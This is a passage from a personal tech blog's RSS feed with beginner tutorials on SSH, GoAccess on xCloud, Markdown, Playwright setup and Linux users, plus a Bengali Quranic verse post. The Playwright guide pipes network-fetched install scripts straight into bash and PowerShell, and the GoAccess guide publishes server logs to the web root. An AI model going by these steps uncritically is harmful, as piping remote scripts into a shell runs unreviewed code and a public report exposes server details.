&lt;p&gt;In intermediate workflows, you will often find SSH used in tandem with programming languages like JavaScript or PHP to handle deployments. In Node.js, libraries like &lt;code&gt;ssh2&lt;/code&gt; allow you to programmatically manage servers. This is how many modern CI/CD pipelines push code from a repository to a live web server while keeping the connection encrypted.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Example using a hypothetical SSH library in Node.js
const { Client } = require(&apos;ssh2&apos;);
const conn = new Client();

conn.on(&apos;ready&apos;, () =&amp;gt; {
  console.log(&apos;Secure Connection Established&apos;);
  conn.exec(&apos;ls -lh&apos;, (err, stream) =&amp;gt; {
    if (err) throw err;
    stream.on(&apos;data&apos;, (data) =&amp;gt; {
      console.log(&apos;STDOUT: &apos; + data);
    }).on(&apos;close&apos;, () =&amp;gt; {
      conn.end();
    });
  });
}).connect({
  host: &apos;192.168.1.15&apos;,
  port: 22,
  username: &apos;deploy_user&apos;,
  privateKey: require(&apos;fs&apos;).readFileSync(&apos;/home/user/.ssh/id_rsa&apos;)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One of the most common pitfalls beginners face is relying solely on passwords. Passwords can be guessed or brute-forced. To avoid this, it is highly recommended to use SSH Key Pairs. By generating a public and private key, you create a digital &quot;lock and key&quot; system. You keep the private key on your machine and place the public key on the server. This allows for passwordless login that is significantly more secure.&lt;/p&gt;
&lt;p&gt;Another mistake is leaving the default SSH port as 22. While it’s the standard, it’s also the first place bots look. Changing your SSH port and disabling &quot;Root Login&quot; in your &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt; file are simple yet effective ways to harden your server.&lt;/p&gt;
</content:encoded><atom:updated>2025-02-01T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>GoAccess Setup Guide for xCloud: Real-Time Web Analytics</title><link>https://hurayraiit.com/blog/setting-up-goaccess-in-xcloud/</link><guid isPermaLink="true">https://hurayraiit.com/blog/setting-up-goaccess-in-xcloud/</guid><description>How to set up GoAccess on xCloud for real-time web log analysis — monitor site traffic visually from the terminal without relying on third-party analytics.</description><pubDate>Mon, 27 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is goaccess?&lt;/h2&gt;
&lt;p&gt;According to the &lt;a href=&quot;https://goaccess.io/&quot;&gt;website&lt;/a&gt;,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;GoAccess&lt;/strong&gt; is an open source &lt;strong&gt;real-time&lt;/strong&gt; &lt;strong&gt;web log analyzer&lt;/strong&gt; and interactive viewer that runs in a &lt;strong&gt;terminal&lt;/strong&gt; in *nix systems or through your &lt;strong&gt;browser&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It provides &lt;strong&gt;fast&lt;/strong&gt; and valuable HTTP statistics for system administrators that require a visual server report on the fly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basically, GoAccess is a powerful, real-time web log analyzer that provides insightful visual reports for your server logs.&lt;/p&gt;
&lt;p&gt;If you&apos;re using XCloud, a managed cloud hosting platform, integrating GoAccess can help you monitor and analyze your website traffic efficiently.&lt;/p&gt;
&lt;p&gt;In this guide, we’ll walk you through the process of setting up GoAccess in XCloud.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;p&gt;Before diving into the setup, ensure you have the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;An xCloud account&lt;/strong&gt;: You need access to an xCloud server where your website is hosted.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SSH access&lt;/strong&gt;: Ensure you have SSH access to your xCloud server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Basic command-line knowledge&lt;/strong&gt;: Familiarity with terminal commands will be helpful.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How do I install it?&lt;/h2&gt;
&lt;p&gt;For this example, I am using an Ubuntu 24 server connected to xCloud. The server is using nginx.&lt;/p&gt;
&lt;p&gt;Simply visit &quot;xCloud Server Management &amp;gt; Commands &amp;gt; Run Custom Command&quot;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then run the following command to install goaccess:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update &amp;amp;&amp;amp; apt install goaccess -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Now goaccess should be installed in your server.&lt;/p&gt;
&lt;p&gt;Next, we will generate the report using all of our nginx access log files and place the generated report in the &lt;code&gt;/var/www/html/&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;Let&apos;s run another command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;goaccess /var/log/nginx/*access.log* --log-format=combined -o /var/www/html/report.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That&apos;s all. You can now visit the following address to view the report:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://&amp;lt;your-server-ip&amp;gt;/report.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Adding a custom cron job&lt;/h2&gt;
&lt;p&gt;Now we can add a custom cron job so that the report gets generated automatically.&lt;/p&gt;
&lt;p&gt;Visit &quot;Server Management &amp;gt; Custom Cron Jobs &amp;gt; Add Cron Job&quot;:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Add the following value in the command section:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;goaccess /var/log/nginx/*access.log* --log-format=combined -o /var/www/html/report.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;And that&apos;s it! The report will be generated according to the interval you set automatically.&lt;/p&gt;
&lt;h2&gt;Important Note&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;I would recommend **not** to do this in a production system. This may reveal your server info to unwanted visitors. However, for R&amp;amp;D and learning, this can be a great task.&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;How do I remove it?&lt;/h2&gt;
&lt;p&gt;To remove the report, simple run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rm -f /var/www/html/report.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then delete the custom cron job you just added from the xCloud interface.&lt;/p&gt;
&lt;p&gt;It is as simple as that! Did you notice that we did not have to access a terminal? We were able to do everything from the xCloud interface. How cool is that!&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By following these steps, you’ve successfully set up GoAccess on your XCloud server. This tool provides valuable insights into your website’s traffic, helping you make data-driven decisions to optimize performance.&lt;/p&gt;
&lt;p&gt;Whether you’re monitoring real-time traffic or analyzing historical data, GoAccess is an indispensable tool for any web administrator.&lt;/p&gt;
</content:encoded><atom:updated>2025-01-27T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Markdown Cheat Sheet: Quick  Reference for All Syntax</title><link>https://hurayraiit.com/blog/03-markdown-cheat-sheet/</link><guid isPermaLink="true">https://hurayraiit.com/blog/03-markdown-cheat-sheet/</guid><description>Master Markdown fast with this concise cheat sheet covering headings, bold, italic, links, code blocks, tables, and all essential syntax elements.</description><pubDate>Sat, 18 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This Markdown cheat sheet provides a quick overview of all the Markdown syntax elements. It can’t cover every edge case, so if you need more information about any of these elements, refer to the reference guides for &lt;a href=&quot;https://www.markdownguide.org/basic-syntax/&quot;&gt;basic syntax&lt;/a&gt; and &lt;a href=&quot;https://www.markdownguide.org/extended-syntax/&quot;&gt;extended syntax&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Basic Syntax&lt;/h2&gt;
&lt;p&gt;These are the elements outlined in John Gruber’s original design document. All Markdown applications support these elements.&lt;/p&gt;
&lt;h3&gt;Heading&lt;/h3&gt;
&lt;h1&gt;H1&lt;/h1&gt;
&lt;h2&gt;H2&lt;/h2&gt;
&lt;h3&gt;H3&lt;/h3&gt;
&lt;h3&gt;Bold&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;bold text&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Italic&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;italicized text&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Blockquote&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;blockquote&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Ordered List&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;First item&lt;/li&gt;
&lt;li&gt;Second item&lt;/li&gt;
&lt;li&gt;Third item&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Unordered List&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;First item&lt;/li&gt;
&lt;li&gt;Second item&lt;/li&gt;
&lt;li&gt;Third item&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Code&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;code&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Horizontal Rule&lt;/h3&gt;
&lt;hr /&gt;
&lt;h3&gt;Link&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.markdownguide.org&quot;&gt;Markdown Guide&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Image&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Extended Syntax&lt;/h2&gt;
&lt;p&gt;These elements extend the basic syntax by adding additional features. Not all Markdown applications support these elements.&lt;/p&gt;
&lt;h3&gt;Table&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Syntax&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;Title&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Paragraph&lt;/td&gt;
&lt;td&gt;Text&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fenced Code Block&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;firstName&quot;: &quot;John&quot;,
  &quot;lastName&quot;: &quot;Smith&quot;,
  &quot;age&quot;: 25
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Footnote&lt;/h3&gt;
&lt;p&gt;Here&apos;s a sentence with a footnote. [^1]&lt;/p&gt;
&lt;p&gt;[^1]: This is the footnote.&lt;/p&gt;
&lt;h3&gt;Strikethrough&lt;/h3&gt;
&lt;p&gt;&lt;s&gt;The world is flat.&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;Task List&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;[x] Write the press release&lt;/li&gt;
&lt;li&gt;[ ] Update the website&lt;/li&gt;
&lt;li&gt;[ ] Contact the media&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2026-04-03T00:00:00.000Z</atom:updated><category>meta</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>প্রকৃত মুমিনের পাঁচটি গুণ</title><link>https://hurayraiit.com/blog/bn-5-signs-of-a-believer/</link><guid isPermaLink="true">https://hurayraiit.com/blog/bn-5-signs-of-a-believer/</guid><description>প্রকৃত মুমিনের পাঁচটি গুণ — কুরআনের আলোকে সূরা আনফালের বর্ণনা এবং সত্যিকারের ঈমানদারের পরিচয় বাংলা ও ইংরেজিতে।</description><pubDate>Wed, 08 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;প্রকৃত মুমিনের পাঁচটি গুণঃ&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র স্মরণ করা হলে তাদের হৃদয় বিগলিত হয়।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;কুরআন তিলাওয়াত করা হলে তাদের ঈমান আর বৃদ্ধি পায়।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;তারা তাদের রবের ওপরই ভরসা করে।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(সময়মত সঠিকভাবে) সালাত আদায় করে।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র দেওয়া রিযিক হতে ব্যয় করে।&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The ˹true˺ believers are only those whose hearts tremble at the remembrance of Allah, whose faith increases when His revelations are recited to them, and who put their trust in their Lord.&lt;/p&gt;
&lt;p&gt;˹They are˺ those who establish prayer and donate from what We have provided for them.&lt;/p&gt;
&lt;p&gt;It is they who are the true believers. They will have elevated ranks, forgiveness, and an honourable provision from their Lord.&lt;/p&gt;
&lt;p&gt;সূরা আন আনফাল (৮)&lt;br /&gt;
আয়াত ২, ৩, ৪&lt;/p&gt;
</content:encoded><atom:updated>2025-01-08T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Playwright for Beginners: Setting Up Your First Project</title><link>https://hurayraiit.com/blog/playwright-for-beginners-setting-up-your-first-project/</link><guid isPermaLink="true">https://hurayraiit.com/blog/playwright-for-beginners-setting-up-your-first-project/</guid><description>Set up your first Playwright project from scratch — a beginner-friendly guide covering installation, project structure, and connecting to GitHub for CI.</description><pubDate>Tue, 31 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://playwright.dev/&quot;&gt;Playwright&lt;/a&gt; is an open source browser automation library. It was launched on January 2020, by &lt;a href=&quot;https://www.microsoft.com&quot;&gt;Microsoft&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here are some features of playwright:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Cross Browser: Playwright supports all modern web browsers including Chromium, Webkit and Firefox.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross Platform: Playwright allows us to test on Windows, Linux, and macOS, locally or on CI, headless or headed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross Language: We can use the Playwright API in TypeScript, JavaScript, Python, .NET and Java.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mobile App Support: Playwright allows native mobile emulation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this article, I will guide you to settings up a fresh playwright project, connecting it with Github. Let&apos;s begin:&lt;/p&gt;
&lt;h2&gt;Step 01: Install Node.js&lt;/h2&gt;
&lt;h3&gt;On MacOS&lt;/h3&gt;
&lt;p&gt;First, open your MacOS terminal. Download and install &lt;a href=&quot;https://github.com/nvm-sh/nvm&quot;&gt;nvm&lt;/a&gt; (Node Version Manager) using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Download and install nvm:
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we need to download and install nodejs. We will use v22 LTS. Run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Download and install Node.js:
nvm install 22
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s verify the nodejs version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;node -v
nvm current
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s verify that npm has also been installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm -v
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;On Windows&lt;/h3&gt;
&lt;p&gt;Node.js can be install in Windows using chocolatey using the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Download and install Chocolatey:
powershell -c &quot;irm https://community.chocolatey.org/install.ps1|iex&quot;

# Download and install Node.js:
choco install nodejs-lts --version=&quot;22&quot;

# Verify the Node.js version:
node -v # Should print &quot;v22.12.0&quot;.

# Verify npm version:
npm -v # Should print &quot;10.9.0&quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;On Linux&lt;/h3&gt;
&lt;p&gt;Similar to macos, we can use nvm to install Node.js on linux:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Download and install nvm:
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash

# Download and install Node.js:
nvm install 22

# Verify the Node.js version:
node -v # Should print &quot;v22.12.0&quot;.
nvm current # Should print &quot;v22.12.0&quot;.

# Verify npm version:
npm -v # Should print &quot;10.9.0&quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 02: Create a project directory&lt;/h2&gt;
&lt;p&gt;Now let&apos;s create a project directory using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Go to the Documents directory
cd Documents

# Create the project directory
mkdir betterdocs-e2e-automation

# Visit the project directory
cd betterdocs-e2e-automation
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 03: Install Playwright&lt;/h2&gt;
&lt;p&gt;Enter the following command to install Playwright.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm init playwright@latest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Choose &lt;code&gt;Javascript&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Choose the default &lt;code&gt;tests&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;Type &lt;code&gt;y&lt;/code&gt; to add the Github Actions workflow.&lt;/p&gt;
&lt;p&gt;Choose true to install playwright browsers.&lt;/p&gt;
&lt;p&gt;The playwright installation has been competed.&lt;/p&gt;
&lt;p&gt;Use the following command to ensure that everything is working perfectly. The tests will pass if the setup has been done properly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx playwright test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use the following command to see the test reports. The report will be visible using the provided URL in the browser:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx playwright show-report
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Press &lt;code&gt;&amp;lt;Ctrl-c&amp;gt;&lt;/code&gt; to close the playwright report server in the terminal.&lt;/p&gt;
&lt;h2&gt;Step 04: Create a Github repository&lt;/h2&gt;
&lt;p&gt;If you don&apos;t have a Github account, feel free to create one now. After creating the account, visit this URL to create a new Github repository:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://github.com/new&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Provide a repository name and click create repository.&lt;/p&gt;
&lt;p&gt;The repository will be created and a screen with some quick setup guide will be shown. We will use the commands from this guide in the next step.&lt;/p&gt;
&lt;h2&gt;Step 05: Initialize git in our project directory&lt;/h2&gt;
&lt;p&gt;Now go back to the terminal. We willl initiate a new git repository in our playwright project and later connect it to Github.&lt;/p&gt;
&lt;p&gt;Let&apos;s create a readme file first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;# betterdocs-e2e-automation&quot; &amp;gt;&amp;gt; README.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use the &lt;code&gt;git init&lt;/code&gt; command to initialize an empty git repository:&lt;/p&gt;
&lt;p&gt;Now we need to add all of the project files to git using this command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add -A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Commit the changes using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git commit -m &quot;first commit&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will now create a main branch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git branch -M main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Type git status to view the current state of our project:&lt;/p&gt;
&lt;h2&gt;Step 06: Connect the project to Github&lt;/h2&gt;
&lt;p&gt;In order to connect our project to Github, we first need to generate an SSH key on our local machine. Without this step, we will get an error.&lt;/p&gt;
&lt;p&gt;Use the &lt;code&gt;ssh-keygen&lt;/code&gt; command to generate an ssh key. Type &lt;code&gt;Enter&lt;/code&gt; to choose the default location. Again type &lt;code&gt;Enter&lt;/code&gt; to skip the password section.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Print the ssh public key using this command. Then copy it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat ~/.ssh/id_ed25519.pub
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Visit the following URL and add the ssh public key to Github:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/settings/ssh/new
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use any title and the copied value as the key. Click &lt;code&gt;add ssh key&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;You may need to confirm your password.&lt;/p&gt;
&lt;p&gt;Now go back to the terminal and run the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add origin git@github.com:HurayraIIT/betterdocs-e2e-automation.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure to replace &lt;code&gt;HurayraIIT&lt;/code&gt; with your username.&lt;/p&gt;
&lt;p&gt;Finally, push the changes to github:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push -u origin main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now visit the Github repository page. You will be able to see the project files in the repository:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/HurayraIIT/betterdocs-e2e-automation
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alhamdulillah! You have successfully completed the mission.&lt;/p&gt;
&lt;p&gt;Btw, do you want to learn more about how to create and manage users in linux? Follow this article to learn more:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hurayraiit.com/how-to-create-and-manage-users-in-linux/&quot;&gt;How to Create and Manage Users in Linux: A Beginner’s Guide&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2024-12-31T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>How to Create and Manage Users in Linux: A Beginner’s Guide</title><link>https://hurayraiit.com/blog/how-to-create-and-manage-users-in-linux/</link><guid isPermaLink="true">https://hurayraiit.com/blog/how-to-create-and-manage-users-in-linux/</guid><description>A beginner&apos;s guide to creating and managing Linux users — covers useradd, usermod, userdel, groups, and file permissions on Ubuntu with practical examples.</description><pubDate>Mon, 30 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the essential skills every new Linux user should learn is managing users. Whether you&apos;re setting up a personal system or administering a server, understanding user creation and management is crucial for maintaining a secure and efficient environment. In this context, it&apos;s important to understand how Users in Linux can be effectively managed.&lt;/p&gt;
&lt;p&gt;In this guide, we’ll explore how to create, manage, and delete users in Ubuntu, ensuring you’re equipped with the skills needed to handle user accounts effectively. Ubuntu is one of the most beginner-friendly Linux distributions, making it an excellent choice for users venturing into the Linux world.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;What is User Management in Linux?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;User management in Linux involves creating, modifying, and deleting user accounts. This is a fundamental aspect of Linux system administration, as it ensures that users have the appropriate access and permissions for the tasks they need to perform, particularly for Users in Linux.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Types of Users in Linux&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Root User:&lt;/strong&gt; The system administrator with full access to the system. Handle this account with care.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;System Users:&lt;/strong&gt; Accounts used by system services to perform specific tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Regular Users:&lt;/strong&gt; Accounts created for individual users to perform everyday tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this guide, we’ll focus on managing regular users, as this is the most relevant for beginner Linux enthusiasts.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Understanding User Management Commands in Ubuntu&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Linux provides a variety of commands to manage users. Here are the most commonly used ones:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**adduser**&lt;/code&gt;: A user-friendly command for creating new users interactively.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**useradd**&lt;/code&gt;: A more flexible but less user-friendly command for adding users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**passwd**&lt;/code&gt;: Used to set or update a user’s password.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**usermod**&lt;/code&gt;: Allows modification of existing user accounts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**id**&lt;/code&gt;: Displays information about a user’s ID, groups, and permissions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**whoami**&lt;/code&gt;: Shows the current logged-in user.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;How to Create a New User in Ubuntu&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Creating a new user in Ubuntu is straightforward. Below are step-by-step instructions to guide you through the process.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. Using the Command Line to Add a New User&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The easiest way to create a user in Ubuntu is by using the &lt;code&gt;adduser&lt;/code&gt; command. Follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open your terminal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Run the following command, replacing &lt;code&gt;newuser&lt;/code&gt; with your desired username:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo adduser newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enter the password for the new user when prompted.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fill in additional information like the full name, room number, etc., or press Enter to leave them blank.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Example Output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Adding user `newuser&apos; ...
Adding new group `newuser&apos; (1001) ...
Adding new user `newuser&apos; (1001) with group `newuser&apos; ...
Creating home directory `/home/newuser&apos; ...
Copying files from `/etc/skel&apos; ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;2. Non-Interactive User Creation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;For advanced users, the &lt;code&gt;useradd&lt;/code&gt; command offers more control. Here’s an example:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a user with the &lt;code&gt;useradd&lt;/code&gt; command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo useradd -m -s /bin/bash newuser&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-m&lt;/code&gt;: Creates a home directory for the user.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-s&lt;/code&gt;: Specifies the default shell (e.g., Bash).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set a password for the new user:
&lt;code&gt;sudo passwd newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;strong&gt;Assigning Permissions to Users&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Permissions in Linux are managed through groups. Assigning a user to specific groups grants them access to corresponding system resources.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Adding a User to a Group&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;To add a user to a group, use the &lt;code&gt;usermod&lt;/code&gt; command:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;To give a user administrative privileges:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo usermod -aG sudo newuser&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-aG&lt;/code&gt;: Appends the user to the specified group.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Verify group membership:
&lt;code&gt;groups newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;Common Groups to Know&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**sudo**&lt;/code&gt;&lt;strong&gt;****:&lt;/strong&gt; Allows administrative privileges.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;**www-data**&lt;/code&gt;&lt;strong&gt;****:&lt;/strong&gt; Often used for web server permissions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
